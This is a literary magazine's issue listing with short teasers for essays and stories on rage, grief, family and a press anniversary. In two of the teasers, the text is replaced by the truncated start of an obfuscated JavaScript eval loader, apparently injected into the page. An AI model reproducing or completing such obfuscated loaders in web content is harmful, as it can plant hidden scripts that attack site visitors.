Culture Rant: Issue 15 / Fall 2018

Medusa and Me: Twenty-Five Years of Female Rage Written by Mary Valentis and Phill Arensberg For 25 or more years Mary Valentis and her son Phill Arensberg have been carrying on a cross-country conversation, sometimes fiery, about culture, gender, race, rage, and the...

“Benny’s Bed” by Kate Wisel

Issue eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new...

“Rain Carcinoma” by Cristina Bresser de Campos

Issue eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new...

SFWP Celebrates 20 Years: Part 4

Part 4: Peace By Andrew Gifford   I have left my day job behind. When I started SFWP, I was working several jobs. Night shifts, weekends, holidays. While everyone else was opening presents on Christmas morning, I was in a warehouse in Landover, MD editing Associated...

“Grandmother’s Gifts” by Valerie Kinsey

Issue 15 / Fall 2018   Grandpeg—that’s what we grandkids all call her—gave us gifts every time we drove the two hours to her house for a visit. Upon arrival, my brother and I would run to our beds, throw down our backpacks, and open presents wrapped in her...

“Life Support” by Karen Zey

Issue 15 / Fall 2018   The hum and swoosh of the ventilator echo constantly in the small room in the ICU. My 37-year-old husband, Michael, lies as if asleep—his eyes closed, his face rosy and serene, his injury invisible. A thick, white bandage swathes his head. Three...